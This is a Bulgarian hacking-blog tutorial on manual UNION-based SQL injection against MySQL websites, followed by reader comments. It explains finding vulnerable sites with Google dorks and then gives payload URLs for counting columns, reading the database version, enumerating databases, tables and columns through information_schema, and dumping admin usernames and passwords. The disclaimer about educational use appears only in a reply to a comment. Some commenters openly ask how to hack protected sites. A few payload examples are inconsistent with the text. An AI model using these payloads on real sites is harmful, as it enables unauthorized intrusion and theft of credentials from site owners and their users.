SQL Injection (SQLi) - как да изтеглим информация от незащитен сървър



Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!





Въведение: 
SQL Injection е техника, която използва уязвимост в системата, позволяваща да вземете информация за база данни на дадено приложение. Уязвимостта се проявява, когато потребител въведе некоректно филтрирани знаци (' # и други). SQL инжекцията е позната още като SQL insertion attacks.


Полезни доркове ( google ) , с помощта на които можете да намерите уязвими сайтове:
Когато търсите в гугъл, изберете си някой дорк и сложете inurl: пред него. (Ако няма)


ПРОВЕРКА ЗА УЯЗВИМОСТ
Например взимаме сайт с дорк "index.php?id="
http://www.example.com/index.php?id=3
За да проверим , дали е уязвим сайта, слагаме знак ' преди или след 3
http://www.example.com/index.php?id=3'
или
http://www.example.com/index.php?id='3
Ако сайтът е уязвим, трябва да излезе грешка от вида :
Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


ВЗЕМАНЕ НА БРОЯ НА КОЛОНИТЕ
След като разберете дали сайтът е уязвим от първа стъпка, трябва да разберем броя на колоните. Най-лесният начин е да използваме стринга "order by". Всичко, което трябва да направите е да напишете ORDER BY (номер на колоните)-- в URL бара след края на линка. Направете го да изглежда така:
Пример:
http://www.example.com/index.php?id=3 order by 1--
http://www.example.com/index.php?id=3 order by 2--
http://www.example.com/index.php?id=3 order by 3--
http://www.example.com/index.php?id=3 order by 4--
http://www.example.com/index.php?id=3 order by 5--
http://www.example.com/index.php?id=3 order by 6--
http://www.example.com/index.php?id=3 order by 7--
http://www.example.com/index.php?id=3 order by 8--
http://www.example.com/index.php?id=3 order by 9--
Да кажем , че след последния ред (example.com/index.php?id=3 order by 9--) получим грешка. Това означава, че броят на колоните е предходната цифра (8). Ако грешката е на десетото число, значи колоните са 9. Ако грешката е на 50, значи имаме 49 колони. Но едва ли ще случите на толкова много. Ако имате лоша памет, ще е добре да си запишете някъде, защото ще ви потрябва по-нататък. :)


НАМИРАНЕ НА ДОСТЪПНИ КОЛОНИ
Сега като имаме броя на колоните, ние се нуждаем от цифрите на колоните, откъдето можем да вземем информация. Правим това посредством "UNION" "SELECT" и броя на колоните. Слагат се заедно в линка така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8--
За последна цифра допълвате до броя на колоните. Пример: ако имаме 10 колони, ще напишем на края на линка ...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--. Ако имаме 15 колони ще напишем ...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- и така нататък. Също така не забравяйте да сложите "-" пред id номера.
След като го направите, страницата трябва да изглежда малко разхвърляна/развалена и ще забележете 2 числа/цифри на страницата (удебелени). Тези числа/цифри показват от кои колони можем да вземем информация. По-късно ще ги използваме, като ги заменяме, така че ги запомнете/запишете. Ще приемем, че ни излиза 3.


НАМИРАНЕ НА ВЕРСИЯТА НА MYSQL БАЗА ДАННИ
Причината, поради която се нуждаете от версията на MYSQL е за да видите, дали си струва да инжектирате. Ако версията е над 5.0 следвайте инструкциите. Ако е под версия 5.0 , ще се използва Blind SQLi , за което ще напиша урок по-късно, така че наглеждайте форума /профила ми/.
Сега вземаме едно от числата, които открихме преди малко и го заменяме с "@@version" <запазена команда.
Това : example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8-- Ще стане http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8-- . След като заредите страницата, ще ви излезе версията на MYSQL DB .


НАМИРАНЕ НА ИМЕНА В БАЗА ДАННИ
Сега ще инжектираме сайта и ще намерим имената на база данните. Заменяме "@@version" със "group_concat(schema_name)" и добавяме +from+information_schema.schemata-- след последното число и края на линка. Така че линкът ще се промени:
example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8--
––––> http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,group_concat(version),4,5,6,7,8+from+information_schema.schemata--
Това ще покаже имената на база аднните. Сега за да намерим коя се използва, заменяме "group_concat(schema_name)" с "concat(database())" и махаме "+from+information_schema.schemata". Така че линкът ще изглежда така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,concat(database()),4,5,6,7,8-- 
Това ще изведе името на база данните, която се ползва. Можете да си я запишете. Ще приемем, че ни дава primerna_baza_danni.


НАМИРАНЕ НА ИМЕНА НА ТАБЛИЦИ
За да вземем име на таблица от сегашната база данни, трябва да заменим "concat(database())" с "group_concat(table_name)" и да добавим from "information_schema.tables where table_schema=database()" между последната цифра и "--". Също така е желателно да премахнете "+" -овете. Сега линкът ще изглежда така:
http://www.example.com/index.php?id=-3 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--
На страницата трябва да се покажат имената на таблиците. Можете да си ги запишете , тъй като са важни за по-нататък. Ще приемем за примерна таблица primerna_tablica.


НАМИРАНЕ НА ИМЕНА НА КОЛОНИ
Това е точно като взимането на имената на таблиците. Само трябва да промените "table_name" на "column_name" и "information_schema.tables" на "information_schema.columns". Линкът ще изглежда така:
http://www.example.com/index.php?id=-3 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()-- 
Така, това ще ви даде имената на колоните. Може да ги запишете.
Да кажем , че ни даде следните имена на колони:
admin_ime
admin_parola




ВЗЕМАНЕ НА ИНФОРМАЦИЯ
Сега можем да имаме името на базата данни, имената на таблиците, имената на колоните. Можем да ги обобщим в един код и да получим информация от тях. За да направим това ни е нужно:
http://www.example.com/index.php?id=-3 UNION SELECT 1,2,group_concat(име_на_колона,0x3a,име_на_колона,0x3a),4,5,6,7,8 from име_на_базата.име_на_таблицата--
Пояснение:
* Заменете име_на_колоната с името на вашата колона, която сте намерили.
* 0x3a ще сложи двуеточие (:) , за да раздели информацията. Можете да сложите колкото си искате имена на колони, важното е да ги разделите подобаващо. Също заменете име_на_базата.име_на_таблицата със съответно: името на база данните и името на таблицата, които сте намерили. След това линкът ще изглежда подобно:
http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_ime,0x3a,admin_parola,0x3a),2,3,4,5,6,7,8 from primerna_baza_danni.primerna_tablica--


Сега имате основни знания за SQLi. Трябва да знаете, че този метод не важи за всички видове грешки в SQL. Има и вариант за изтегляне на информация чрез Blind SQLi, където нещата стават по-сложни. За това ще напишем урок по-нататък! Наслаждавайте се. Вложих много труд в тази статия, така че се надявам да ви хареса :)



Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!


10 comments:

  1. Izvinete me , 4e pisha na latinica, no nqmam kirilica po-kasno 6te si sq napravq...
    Uroka mnogo mi haresva :) naistina o4akvam o6te ot vas :)

    ReplyDelete
    Replies
    1. Благодарим за подкрепата! Ще продължим да пишем още полезни статии!

      Delete
  2. Уникален урок! Но искам да попитам , как да хакнем сайт със защита?Ако може и тема по този въпрос.

    ReplyDelete
    Replies
    1. Каква защита имаш предвид? Всеки сайт си има защита..

      Имайте предвид, че уроците в този блог са изцяло с учебна цел. Не поощряваме никакви незаконни дейности. Материалите са единствено, за да разберете как стават нещата, за да предприемете мерки спрямо защитата ви.

      Delete
  3. Добре де, получавам съобщението за syntax error но преди него има друго започващо с Couldnt Run Query: UPDATE `mw_online` SET `user_ip`='1',... ...... И т.н. Какво става?

    ReplyDelete
  4. Как се вписва order by защото знам че разтояние никога не се оставя в url адрес, моля помогнете ми искам да се науча.

    ReplyDelete
  5. Извинете може ли да ми пишете на скайп по темата много ми хареса но имам малко въпроси ще съм ви благодарен ако ми пишете скайпа ми е vinkela24 малко нескупосан ама бях малак като си го правих и сега незнам дали може и как да си сменя потребителското име :D Моля ви да ми пишете !

    ReplyDelete
  6. Това не е ли Manual Sql Injection ?

    ReplyDelete
  7. Ако даденият сайт завършва на index.php?sid какво следва да направя не се получава зарежда и си остава страницата на сайта ?? Моля отговорете ми спешно е. А относно самата статия давам ви шест точки ;). Много е добра благодаря предварително. :)

    ReplyDelete
  8. Izliza mi Not Found

    The requested URL /inurlindex.php was not found on this server.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

    ReplyDelete